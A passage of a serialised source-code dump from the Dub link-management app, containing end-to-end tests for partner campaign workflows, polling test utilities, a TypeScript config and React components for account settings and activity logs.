\"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await http.delete({\n        path: \"/e2e/notification-emails\",\n        query: { campaignId },\n      });\n      await h.deleteCampaign(campaignId);\n    });\n\n    await http.patch({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E No Dup Campaign\",\n        subject: \"No duplicates!\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [{ type: \"text\", text: \"Hello!\" }],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n        status: \"active\",\n      },\n    });\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n\n    const { status: partnerStatus, data: partner } =\n      await http.post<EnrolledPartnerProps>({\n        path: \"/partners\",\n        body: {\n          name: \"E2E Test Partner - No Dup Campaign\",\n          email: randomPartnerEmail(),\n        },\n      });\n\n    expect(partnerStatus).toEqual(201);\n\n    // Backdate enrollment to match the cron window\n    await http.patch({\n      path: \"/e2e/enrollments\",\n      body: {\n        partnerId: partner.id,\n        createdAt: subHours(new Date(), 18).toISOString(),\n      },\n    });\n\n    // Pre-insert a notification email to simulate a previous send\n    const { data: existingEmail } = await http.post<any>({\n      path: \"/e2e/notification-emails\",\n      body: {\n        campaignId,\n        partnerId: partner.id,\n        recipientUserId: E2E_USER_ID,\n      },\n    });\n\n    expect(existingEmail).not.toBeNull();\n\n    // Trigger the workflow — should skip this partner (already sent)\n    const { status, data: triggerData } = await http.post<{ message: string }>({\n      path: `/e2e/trigger-workflow/${workflow.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(triggerData.message).toContain(\"Finished executing workflow\");\n\n    // Verify still only 1 notification email (no duplicate)\n    const { data: emails } = await http.get<any[]>({\n      path: \"/e2e/notification-emails\",\n      query: { campaignId, partnerId: partner.id },\n    });\n\n    expect(emails).toHaveLength(1);\n    expect(emails[0].id).toBe(existingEmail.id);\n  });\n\n  test(\"Campaign workflow configuration can be updated\", async () => {\n    const { status: createStatus, data: campaign } = await http.post<{\n      id: string;\n    }>({\n      path: \"/campaigns\",\n      body: {\n        type: \"transactional\",\n      },\n    });\n\n    expect(createStatus).toEqual(201);\n\n    const campaignId = campaign.id;\n\n    onTestFinished(async () => {\n      await h.deleteCampaign(campaignId);\n    });\n\n    await http.patch({\n      path: `/campaigns/${campaignId}`,\n      body: {\n        name: \"E2E Campaign Config Test\",\n        subject: \"Test\",\n        bodyJson: {\n          type: \"doc\",\n          content: [\n            {\n              type: \"paragraph\",\n              content: [{ type: \"text\", text: \"Test\" }],\n            },\n          ],\n        },\n        triggerCondition: {\n          attribute: \"partnerEnrolledDays\",\n          operator: \"gte\",\n          value: 1,\n        },\n        status: \"active\",\n      },\n    });\n\n    const { data: workflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(workflow).not.toBeNull();\n    const conditions1 = workflow.triggerConditions as any[];\n    expect(conditions1[0].value).toBe(1);\n\n    const { status: pauseStatus, data: pausedCampaign } =\n      await http.patch<Campaign>({\n        path: `/campaigns/${campaignId}`,\n        body: {\n          status: \"paused\",\n        },\n      });\n\n    expect(pauseStatus).toEqual(200);\n    expect(pausedCampaign.status).toBe(\"paused\");\n\n    const { data: pausedWorkflow } = await http.get<any>({\n      path: \"/e2e/workflows\",\n      query: { campaignId },\n    });\n\n    expect(pausedWorkflow.disabledAt).not.toBeNull();\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/workflows/utils/delete-bounty-and-submissions.ts",
    "content": "import { HttpClient } from \"../../utils/http\";\n\n// special function to delete a bounty and all associated submissions (only for e2e tests)\nexport const deleteBountyAndSubmissions = async ({\n  http,\n  bountyId,\n}: {\n  http: HttpClient;\n  bountyId: string;\n}) => {\n  await http.delete({\n    path: `/e2e/bounties/${bountyId}`,\n  });\n};\n"
  },
  {
    "path": "apps/web/tests/workflows/utils/track-e2e-lead.ts",
    "content": "import { expect } from \"vitest\";\nimport { E2E_TRACK_CLICK_HEADERS } from \"../../utils/resource\";\n\nexport async function trackE2ELead(\n  http: any,\n  partnerLink: { domain: string; key: string },\n) {\n  const { status: clickStatus, data: clickData } = await http.post({\n    path: \"/track/click\",\n    headers: E2E_TRACK_CLICK_HEADERS,\n    body: {\n      domain: partnerLink.domain,\n      key: partnerLink.key,\n    },\n  });\n\n  expect(clickStatus).toEqual(200);\n  expect(clickData.clickId).toBeDefined();\n\n  const { status: leadStatus } = await http.post({\n    path: \"/track/lead\",\n    body: {\n      clickId: clickData.clickId,\n      eventName: `Signup-${Date.now()}`,\n      customerExternalId: `e2e-customer-${Date.now()}`,\n      customerEmail: `customer@example.com`,\n    },\n  });\n\n  expect(leadStatus).toEqual(200);\n}\n"
  },
  {
    "path": "apps/web/tests/workflows/utils/verify-bounty-submission.ts",
    "content": "import { expect } from \"vitest\";\nimport { HttpClient } from \"../../utils/http\";\n\ninterface VerifyBountySubmissionProps {\n  http: HttpClient;\n  bountyId: string;\n  partnerId: string;\n  expectedStatus?: \"draft\" | \"submitted\" | \"approved\" | \"rejected\";\n  minPerformanceCount?: number;\n}\n\nconst POLL_INTERVAL_MS = 5000; // 5 seconds\nconst TIMEOUT_MS = 60000; // 60 seconds\n\nexport const verifyBountySubmission = async ({\n  http,\n  bountyId,\n  partnerId,\n  expectedStatus = \"submitted\",\n  minPerformanceCount,\n}: VerifyBountySubmissionProps) => {\n  const startTime = Date.now();\n\n  let lastSubmission: any = null;\n\n  while (Date.now() - startTime < TIMEOUT_MS) {\n    const { data: submissions } = await http.get<any[]>({\n      path: `/bounties/${bountyId}/submissions`,\n      query: { partnerId },\n    });\n\n    const submission = submissions?.[0];\n    lastSubmission = submission;\n\n    if (\n      submission &&\n      submission.status === expectedStatus &&\n      (minPerformanceCount === undefined ||\n        (submission.performanceCount ?? 0) >= minPerformanceCount)\n    ) {\n      expect(submission.status).toBe(expectedStatus);\n\n      if (minPerformanceCount !== undefined) {\n        expect(submission.performanceCount).toBeGreaterThanOrEqual(\n          minPerformanceCount,\n        );\n      }\n\n      if (expectedStatus === \"submitted\") {\n        expect(submission.completedAt).not.toBeNull();\n      }\n\n      return submission;\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL_MS));\n  }\n\n  const lastState = lastSubmission\n    ? `Last seen: status=\"${lastSubmission.status}\", performanceCount=${lastSubmission.performanceCount}`\n    : \"No submission found\";\n\n  throw new Error(\n    `Bounty submission did not reach status \"${expectedStatus}\" within ${TIMEOUT_MS / 1000} seconds. ` +\n      `bountyId: ${bountyId}, partnerId: ${partnerId}. ${lastState}`,\n  );\n};\n"
  },
  {
    "path": "apps/web/tests/workflows/utils/verify-campaign-sent.ts",
    "content": "import { expect } from \"vitest\";\nimport { HttpClient } from \"../../utils/http\";\n\ninterface VerifyCampaignSentProps {\n  http: HttpClient;\n  campaignId: string;\n  partnerId: string;\n}\n\nconst POLL_INTERVAL_MS = 5000; // 5 seconds\nconst TIMEOUT_MS = 60000; // 60 seconds\n\nexport const verifyCampaignSent = async ({\n  http,\n  campaignId,\n  partnerId,\n}: VerifyCampaignSentProps) => {\n  const startTime = Date.now();\n\n  while (Date.now() - startTime < TIMEOUT_MS) {\n    const { data: emails } = await http.get<any[]>({\n      path: \"/e2e/notification-emails\",\n      query: { campaignId, partnerId },\n    });\n\n    const emailSent = emails?.[0];\n\n    if (emailSent) {\n      expect(emailSent.type).toBe(\"Campaign\");\n      expect(emailSent.campaignId).toBe(campaignId);\n      expect(emailSent.partnerId).toBe(partnerId);\n      return emailSent;\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL_MS));\n  }\n\n  throw new Error(\n    `Campaign email not found within ${TIMEOUT_MS / 1000} seconds. ` +\n      `campaignId: ${campaignId}, partnerId: ${partnerId}`,\n  );\n};\n"
  },
  {
    "path": "apps/web/tests/workflows/utils/verify-partner-group-move.ts",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { expect } from \"vitest\";\nimport { HttpClient } from \"../../utils/http\";\n\ninterface VerifyPartnerGroupMoveProps {\n  http: HttpClient;\n  partnerId: string;\n  expectedGroupId: string;\n}\n\nconst POLL_INTERVAL_MS = 5000; // 5 seconds\nconst TIMEOUT_MS = 60000; // 60 seconds\n\nexport const verifyPartnerGroupMove = async ({\n  http,\n  partnerId,\n  expectedGroupId,\n}: VerifyPartnerGroupMoveProps) => {\n  const startTime = Date.now();\n  let lastGroupId: string | null = null;\n\n  while (Date.now() - startTime < TIMEOUT_MS) {\n    const { data: partner } = await http.get<EnrolledPartnerProps>({\n      path: `/partners/${partnerId}`,\n    });\n\n    lastGroupId = partner?.groupId ?? null;\n\n    if (partner?.groupId === expectedGroupId) {\n      expect(partner.groupId).toBe(expectedGroupId);\n      return partner;\n    }\n\n    await new Promise((resolve) => setTimeout(resolve, POLL_INTERVAL_MS));\n  }\n\n  throw new Error(\n    `Partner group move not found within ${TIMEOUT_MS / 1000} seconds. ` +\n      `partnerId: ${partnerId}, expectedGroupId: ${expectedGroupId}. ` +\n      `Last seen groupId: ${lastGroupId}`,\n  );\n};\n"
  },
  {
    "path": "apps/web/tests/workspaces/retrieve-workspace.error.test.ts",
    "content": "import { Project } from \"@dub/prisma/client\";\nimport { expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ntest(\"retrieve a workspace by invalid slug or id\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  const { status, data: error } = await http.get<Project>({\n    path: `/workspaces/xxxx`,\n  });\n\n  expect(status).toEqual(404);\n  expect(error).toStrictEqual({\n    error: {\n      code: \"not_found\",\n      message: \"Workspace not found.\",\n      doc_url: \"https://dub.co/docs/api-reference/errors#not-found\",\n    },\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/workspaces/retrieve-workspace.test.ts",
    "content": "import { WorkspaceSchema } from \"@/lib/zod/schemas/workspaces\";\nimport { Project } from \"@dub/prisma/client\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe(\"GET /workspaces/{idOrSlug}\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, http } = await h.init();\n\n  test(\"by id\", async () => {\n    const { status, data: workspaceFetched } = await http.get<Project>({\n      path: `/workspaces/${workspace.id}`,\n    });\n\n    const { id, name, slug } = workspaceFetched;\n\n    expect(status).toEqual(200);\n    expect({ id, name, slug }).toStrictEqual({\n      id: workspace.id,\n      name: workspace.name,\n      slug: workspace.slug,\n    });\n\n    WorkspaceSchema.extend({\n      createdAt: z.string(),\n    }).parse(workspaceFetched);\n  });\n\n  test(\"by slug\", async () => {\n    const { status, data: workspaceFetched } = await http.get<Project>({\n      path: `/workspaces/${workspace.slug}`,\n    });\n\n    const { id, name, slug } = workspaceFetched;\n\n    expect(status).toEqual(200);\n    expect({ id, name, slug }).toStrictEqual({\n      id: workspace.id,\n      name: workspace.name,\n      slug: workspace.slug,\n    });\n\n    WorkspaceSchema.extend({\n      createdAt: z.string(),\n    }).parse(workspaceFetched);\n  });\n});\n"
  },
  {
    "path": "apps/web/tsconfig.json",
    "content": "{\n  \"extends\": \"tsconfig/nextjs.json\",\n  \"compilerOptions\": {\n    \"target\": \"es5\",\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@/pages/*\": [\"pages/*\"],\n      \"@/styles/*\": [\"styles/*\"],\n      \"@/ui/*\": [\"ui/*\"],\n      \"@/lib/*\": [\"lib/*\"]\n    },\n    \"downlevelIteration\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"bundler\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"preserve\",\n    \"incremental\": true,\n    \"strict\": false,\n    \"strictNullChecks\": true,\n    \"plugins\": [\n      {\n        \"name\": \"next\"\n      }\n    ]\n  },\n  \"include\": [\n    \"next-env.d.ts\",\n    \"**/*.ts\",\n    \"**/*.tsx\",\n    \".next/types/**/*.ts\",\n    \"../../packages/blocks/src/event-list.tsx\",\n    \"../../packages/ui/src/hooks/use-pagination.ts\"\n  ],\n  \"exclude\": [\"node_modules\", \"playwright\"]\n}\n"
  },
  {
    "path": "apps/web/ui/account/delete-account.tsx",
    "content": "\"use client\";\nimport { useDeleteAccountModal } from \"@/ui/modals/delete-account-modal\";\nimport { Button } from \"@dub/ui\";\n\nexport default function DeleteAccountSection() {\n  const { setShowDeleteAccountModal, DeleteAccountModal } =\n    useDeleteAccountModal();\n\n  return (\n    <>\n      <DeleteAccountModal />\n      <div className=\"overflow-hidden rounded-xl border border-red-200 bg-white\">\n        <div className=\"flex flex-col space-y-1 p-6\">\n          <h2 className=\"text-base font-semibold\">Delete Account</h2>\n          <p className=\"text-sm text-neutral-500\">\n            Permanently delete your {process.env.NEXT_PUBLIC_APP_NAME} account,\n            all of your workspaces, links and their respective stats. This\n            action cannot be undone - please proceed with caution.\n          </p>\n        </div>\n        <div className=\"border-b border-red-200\" />\n\n        <div className=\"flex items-center justify-start bg-red-50 px-6 py-3 sm:justify-end\">\n          <div>\n            <Button\n              text=\"Delete Account\"\n              variant=\"danger\"\n              onClick={() => setShowDeleteAccountModal(true)}\n            />\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/account/update-default-workspace.tsx",
    "content": "\"use client\";\n\nimport { WorkspaceSelector } from \"@/ui/workspaces/workspace-selector\";\nimport { Button } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport default function UpdateDefaultWorkspace() {\n  const { data: session, update } = useSession();\n  const [selectedWorkspace, setSelectedWorkspace] = useState<string | null>(\n    null,\n  );\n\n  useEffect(() => {\n    setSelectedWorkspace(session?.user?.[\"defaultWorkspace\"] || null);\n  }, [session]);\n\n  const [saving, setSaving] = useState(false);\n\n  async function updateDefaultWorkspace() {\n    setSaving(true);\n    const response = await fetch(\"/api/user\", {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        defaultWorkspace: selectedWorkspace || undefined,\n      }),\n    });\n\n    if (response.ok) {\n      setSaving(false);\n      update();\n    } else {\n      setSaving(false);\n      const { error } = await response.json();\n      throw new Error(error.message);\n    }\n  }\n\n  return (\n    <form\n      onSubmit={async (e) => {\n        e.preventDefault();\n        toast.promise(updateDefaultWorkspace(), {\n          loading: \"Saving changes...\",\n          success: \"Successfully updated your default workspace!\",\n          error: (error) => error,\n        });\n      }}\n      className=\"rounded-xl border border-neutral-200 bg-white\"\n    >\n      <div className=\"flex flex-col space-y-6 p-6\">\n        <div className=\"flex flex-col space-y-1\">\n          <h2 className=\"text-base font-semibold\">Your Default Workspace</h2>\n          <p className=\"text-sm text-neutral-500\">\n            Choose the workspace to show by default when you sign in.\n          </p>\n        </div>\n        <div className=\"mt-1 max-w-md\">\n          <WorkspaceSelector\n            selectedWorkspace={selectedWorkspace || \"\"}\n            setSelectedWorkspace={setSelectedWorkspace}\n          />\n        </div>\n      </div>\n\n      <div className=\"flex flex-col items-start justify-start gap-4 rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-6 py-3 sm:flex-row sm:items-center sm:justify-between sm:space-y-0\">\n        <a\n          href=\"https://dub.co/help/article/how-to-change-default-workspace\"\n          target=\"_blank\"\n          className=\"text-sm text-neutral-500 underline underline-offset-4 hover:text-neutral-700\"\n        >\n          Learn more about how default workspaces work\n        </a>\n        <div>\n          <Button\n            text=\"Save changes\"\n            loading={saving}\n            disabled={\n              !selectedWorkspace ||\n              selectedWorkspace === session?.user?.[\"defaultWorkspace\"]\n            }\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/account/update-subscription.tsx",
    "content": "import { generateUnsubscribeTokenAction } from \"@/lib/actions/generate-unsubscribe-url\";\nimport useUser from \"@/lib/swr/use-user\";\nimport { ExpandingArrow, LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\n\nexport default function UpdateSubscription() {\n  const router = useRouter();\n  const { user } = useUser();\n\n  const { executeAsync, isPending } = useAction(\n    generateUnsubscribeTokenAction,\n    {\n      onSuccess: ({ data }) => {\n        if (!data?.token) {\n          return;\n        }\n        router.push(`/unsubscribe/${data.token}`);\n      },\n    },\n  );\n\n  if (!user?.email) {\n    return <div />;\n  }\n\n  return (\n    <button\n      type=\"button\"\n      onClick={() => executeAsync()}\n      disabled={isPending}\n      className={cn(\n        \"group flex items-center gap-x-1 text-sm text-neutral-500 transition-colors hover:text-neutral-700\",\n        isPending && \"cursor-not-allowed\",\n      )}\n    >\n      <span className=\"underline decoration-dotted underline-offset-2\">\n        Manage email preferences\n      </span>{\" \"}\n      {isPending ? (\n        <LoadingSpinner className=\"size-3\" />\n      ) : (\n        <ExpandingArrow className=\"size-3\" />\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/account/upload-avatar.tsx",
    "content": "\"use client\";\n\nimport { getUserAvatarUrl } from \"@/ui/users/user-avatar\";\nimport { Button, FileUpload } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\n\nexport default function UploadAvatar() {\n  const { data: session, update } = useSession();\n\n  const [image, setImage] = useState<string | null>(null);\n\n  useEffect(() => {\n    if (session?.user) {\n      getUserAvatarUrl(session.user).then((url) => setImage(url));\n    }\n  }, [session]);\n\n  const [uploading, setUploading] = useState(false);\n\n  return (\n    <form\n      onSubmit={async (e) => {\n        setUploading(true);\n        e.preventDefault();\n        fetch(\"/api/user\", {\n          method: \"PATCH\",\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n          body: JSON.stringify({ image }),\n        }).then(async (res) => {\n          setUploading(false);\n          if (res.status === 200) {\n            await update();\n            toast.success(\"Successfully updated your profile picture!\");\n          } else {\n            const { error } = await res.json();\n            toast.error(error.message);\n          }\n        });\n      }}\n      className=\"rounded-xl border border-neutral-200 bg-white\"\n    >\n      <div className=\"flex flex-col items-start justify-between gap-4 p-6 sm:flex-row sm:justify-between\">\n        <div className=\"flex flex-col space-y-1\">\n          <h2 className=\"text-base font-semibold\">Your Avatar</h2>\n          <p className=\"text-sm text-neutral-500\">\n            This is your avatar image on your {process.env.NEXT_PUBLIC_APP_NAME}{\" \"}\n            account.\n          </p>\n          <p className=\"text-sm text-neutral-500\">\n            Click your avatar to upload a new image.\n          </p>\n        </div>\n        <div className=\"mt-1\">\n          <FileUpload\n            accept=\"images\"\n            className=\"h-24 w-24 rounded-full border border-neutral-300\"\n            iconClassName=\"w-5 h-5\"\n            variant=\"plain\"\n            imageSrc={image}\n            readFile\n            onChange={({ src }) => setImage(src)}\n            content={null}\n            maxFileSizeMB={2}\n            targetResolution={{ width: 160, height: 160 }}\n          />\n        </div>\n      </div>\n\n      <div className=\"flex flex-col items-start justify-start gap-4 rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-6 py-4 sm:flex-row sm:items-center sm:justify-between sm:space-y-0 sm:py-3\">\n        <p className=\"text-sm text-neutral-500\">\n          Square image recommended. Accepted file types: .png, .jpg. Max file\n          size: 2MB.\n        </p>\n        <div className=\"shrink-0\">\n          <Button\n            text=\"Save changes\"\n            loading={uploading}\n            disabled={!image || session?.user?.image === image}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/account/user-id.tsx",
    "content": "\"use client\";\n\nimport { CopyButton } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\n\nexport default function UserId() {\n  const { data: session } = useSession() as\n    | {\n        data: { user: { id: string } };\n      }\n    | { data: null };\n\n  return (\n    <>\n      <div className=\"rounded-xl border border-neutral-200 bg-white\">\n        <div className=\"relative flex flex-col space-y-6 p-6\">\n          <div className=\"flex flex-col space-y-1\">\n            <h2 className=\"text-base font-semibold\">Your User ID</h2>\n            <p className=\"text-sm text-neutral-500\">\n              This is your unique account identifier on Dub.\n            </p>\n          </div>\n          {session?.user?.id ? (\n            <div className=\"flex w-full max-w-md items-center justify-between rounded-md border border-neutral-300 bg-white p-2\">\n              <p className=\"text-sm text-neutral-500\">{session.user.id}</p>\n              <CopyButton value={session.user.id} className=\"rounded-md\" />\n            </div>\n          ) : (\n            <div className=\"h-[2.35rem] w-full max-w-md animate-pulse rounded-md bg-neutral-200\" />\n          )}\n        </div>\n\n        <div className=\"flex items-center justify-between space-x-4 rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-6 py-5\">\n          <p className=\"text-sm text-neutral-500\">\n            This may be used to identify your account in the API.\n          </p>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/action-renderers/partner-group-changed-renderer.tsx",
    "content": "import useGroups from \"@/lib/swr/use-groups\";\nimport { ActivityLog, GroupProps } from \"@/lib/types\";\nimport { Bolt } from \"@dub/ui\";\nimport { ReactNode } from \"react\";\nimport { GroupPill, SourcePill, UserChip } from \"../activity-entry-chips\";\n\ninterface GroupChangeSet {\n  old: Pick<GroupProps, \"id\" | \"name\">;\n  new: Pick<GroupProps, \"id\" | \"name\">;\n}\n\nfunction Label({ children }: { children: ReactNode }) {\n  return (\n    <span className=\"text-sm font-medium text-neutral-800\">{children}</span>\n  );\n}\n\nexport function PartnerGroupChangedRenderer({ log }: { log: ActivityLog }) {\n  const { groups } = useGroups();\n\n  const groupChange = log.changeSet?.group as GroupChangeSet | undefined;\n\n  if (!groupChange?.new) {\n    return <span>Group changed</span>;\n  }\n\n  const newGroup = groupChange.new;\n  const newGroupColor =\n    groups?.find((g) => g.id === newGroup.id)?.color ?? null;\n\n  return (\n    <>\n      <Label>{groupChange.old ? \"Moved to\" : \"Added to\"}</Label>\n      <GroupPill name={newGroup.name} color={newGroupColor} />\n      {log.user ? (\n        <>\n          <Label>by</Label>\n          <UserChip user={log.user} />\n        </>\n      ) : groupChange.old ? (\n        <>\n          <Label>automatically by</Label>\n          <SourcePill icon={<Bolt className=\"size-3\" />} label=\"Group move\" />\n        </>\n      ) : null}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/action-renderers/referral-created-renderer.tsx",
    "content": "\"use client\";\n\nimport { ActivityLog } from \"@/lib/types\";\nimport { FilePen } from \"@dub/ui\";\nimport { ReactNode } from \"react\";\nimport { ActorChip, SourcePill } from \"../activity-entry-chips\";\nimport { useActivityLogContext } from \"../activity-log-context\";\n\nfunction Label({ children }: { children: ReactNode }) {\n  return (\n    <span className=\"text-sm font-medium text-neutral-800\">{children}</span>\n  );\n}\n\ninterface ReferralCreatedRendererProps {\n  log: ActivityLog;\n}\n\nexport function ReferralCreatedRenderer({ log }: ReferralCreatedRendererProps) {\n  const { view } = useActivityLogContext();\n\n  return view === \"partner\" ? (\n    <>\n      <Label>Submitted via</Label>\n      <SourcePill\n        icon={<FilePen className=\"size-4 text-black\" />}\n        label=\"Submission form\"\n      />\n    </>\n  ) : (\n    <>\n      <Label>Submitted by</Label>\n      <ActorChip log={log} />\n      <Label>via</Label>\n      <SourcePill\n        icon={<FilePen className=\"size-4 text-black\" />}\n        label=\"Submission form\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/action-renderers/referral-status-changed-renderer.tsx",
    "content": "\"use client\";\n\nimport { ActivityLog } from \"@/lib/types\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { ReactNode } from \"react\";\nimport { ActorChip, ReferralStatusPill } from \"../activity-entry-chips\";\n\ninterface StatusChangeSet {\n  old: ReferralStatus | null;\n  new: ReferralStatus | null;\n}\n\nfunction Label({ children }: { children: ReactNode }) {\n  return (\n    <span className=\"text-sm font-medium text-neutral-800\">{children}</span>\n  );\n}\n\nexport function ReferralStatusChangedRenderer({ log }: { log: ActivityLog }) {\n  const statusChange = log.changeSet?.status as StatusChangeSet | undefined;\n  const status = statusChange?.new ?? null;\n\n  if (!status) {\n    return <span>Lead status updated</span>;\n  }\n\n  return (\n    <>\n      <Label>Lead</Label>\n      <ReferralStatusPill status={status} />\n      <Label>by</Label>\n      <ActorChip log={log} />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/action-renderers/reward-activity-renderer.tsx",
    "content": "\"use client\";\n\nimport { ActivityLog, ActivityLogAction, RewardProps } from \"@/lib/types\";\nimport { ProgramRewardDescription } from \"@/ui/partners/program-reward-description\";\nimport { ProgramRewardModifiersTooltipContent } from \"@/ui/partners/program-reward-modifiers-tooltip\";\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { formatDate } from \"@dub/utils\";\nimport { ActivityLogUserAvatar } from \"../activity-entry-chips\";\n\ninterface RewardActivityConfig {\n  title: string;\n  field: \"new\" | \"old\";\n  displayModifiers: boolean;\n}\n\nconst REWARD_ACTIVITY_CONFIG: Record<\n  Extract<\n    ActivityLogAction,\n    | \"reward.created\"\n    | \"reward.updated\"\n    | \"reward.deleted\"\n    | \"reward.conditionAdded\"\n    | \"reward.conditionUpdated\"\n    | \"reward.conditionRemoved\"\n  >,\n  RewardActivityConfig\n> = {\n  \"reward.created\": {\n    title: \"Created reward\",\n    field: \"new\",\n    displayModifiers: false,\n  },\n  \"reward.updated\": {\n    title: \"Updated reward\",\n    field: \"new\",\n    displayModifiers: false,\n  },\n  \"reward.deleted\": {\n    title: \"Deleted reward\",\n    field: \"old\",\n    displayModifiers: false,\n  },\n  \"reward.conditionAdded\": {\n    title: \"Added reward condition\",\n    field: \"new\",\n    displayModifiers: true,\n  },\n  \"reward.conditionRemoved\": {\n    title: \"Removed reward condition\",\n    field: \"old\",\n    displayModifiers: true,\n  },\n  \"reward.conditionUpdated\": {\n    title: \"Updated reward condition\",\n    field: \"new\",\n    displayModifiers: true,\n  },\n};\n\ninterface RewardActivityRendererProps {\n  log: ActivityLog;\n}\n\nexport function RewardActivityRenderer({ log }: RewardActivityRendererProps) {\n  if (!log?.action) {\n    return null;\n  }\n\n  const config = REWARD_ACTIVITY_CONFIG[log.action];\n  if (!config) {\n    return null;\n  }\n\n  const reward = log.changeSet?.reward?.[config.field] as\n    | RewardProps\n    | undefined;\n\n  if (!reward) {\n    return null;\n  }\n\n  return (\n    <div className=\"flex w-full flex-col gap-4\">\n      <div className=\"flex items-center justify-between gap-2\">\n        <div className=\"flex items-center gap-2\">\n          <ActivityLogUserAvatar user={log.user} />\n          <span className=\"text-sm font-medium leading-5 text-neutral-800\">\n            {config.title}\n          </span>\n        </div>\n\n        <TimestampTooltip\n          timestamp={log.createdAt}\n          side=\"left\"\n          rows={[\"local\", \"utc\", \"unix\"]}\n        >\n          <time className=\"shrink-0 text-xs font-normal text-neutral-500\">\n            {formatDate(log.createdAt, {\n              month: \"short\",\n              year: \"numeric\",\n              hour: \"numeric\",\n              minute: \"2-digit\",\n            })}\n          </time>\n        </TimestampTooltip>\n      </div>\n\n      <div className=\"rounded-lg border border-neutral-200 bg-white px-3 py-2.5 text-xs font-medium leading-4 text-neutral-800\">\n        {config.displayModifiers ? (\n          <ProgramRewardModifiersTooltipContent\n            reward={reward}\n            showBaseReward={false}\n            showBottomGradient={false}\n            className=\"p-0\"\n          />\n        ) : (\n          <ProgramRewardDescription\n            reward={reward}\n            showModifiersTooltip={false}\n          />\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/activity-logs/activity-entry-chips.tsx",
    "content": "import { ActivityLog, GroupProps, ProgramProps } from \"@/lib/types\";\nimport { getResourceColorData, RAINBOW_CONIC_GRADIENT } from \"@/ui/colors\";\nimport { ReferralStatusBadges } from \"@/ui/referrals/referral-status-badges\";\nimport { ReferralStatus } from \"@dub/prisma/client\";\nimport { Bolt, Tooltip } from \"@dub/ui\";\nimport { cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\nimport { useActivityLogContext } from \"./activity-log-context\";\nimport { getActorType } from \"./activity-log-registry\";\n\ninterface ActivityChipProps {\n  children: ReactNode;\n  className?: string;\n}\n\ninterface GroupPillProps extends Pick<GroupProps, \"name\" | \"color\"> {}\n\ninterface SourcePillProps {\n  icon?: ReactNode;\n  label: string;\n}\n\ninterface UserChipProps {\n  user: NonNullable<ActivityLog[\"user\"]>;\n}\n\ninterface ProgramChipProps {\n  program: Pick<ProgramProps, \"id\" | \"name\" | \"logo\">;\n}\n\ninterface ActorChipProps {\n  log: ActivityLog;\n}\n\nfunction ActivityChip({ children, className }: ActivityChipProps) {\n  return (\n    <span\n      className={cn(\n        \"inline-flex items-center gap-2 rounded-lg bg-neutral-100 px-2 py-1 text-sm font-medium text-neutral-700\",\n        className,\n      )}\n    >\n      {children}\n    </span>\n  );\n}\n\nexport function GroupPill({ name, color }: GroupPillProps) {\n  const colorClassName = color\n    ? getResourceColorData(color)?.groupVariants\n    : undefined;\n\n  return (\n    <ActivityChip>\n      <span\n        className={cn(\"size-2.5 shrink-0 rounded-full\", colorClassName)}\n        {...(!colorClassName && {\n          style: {\n            background: 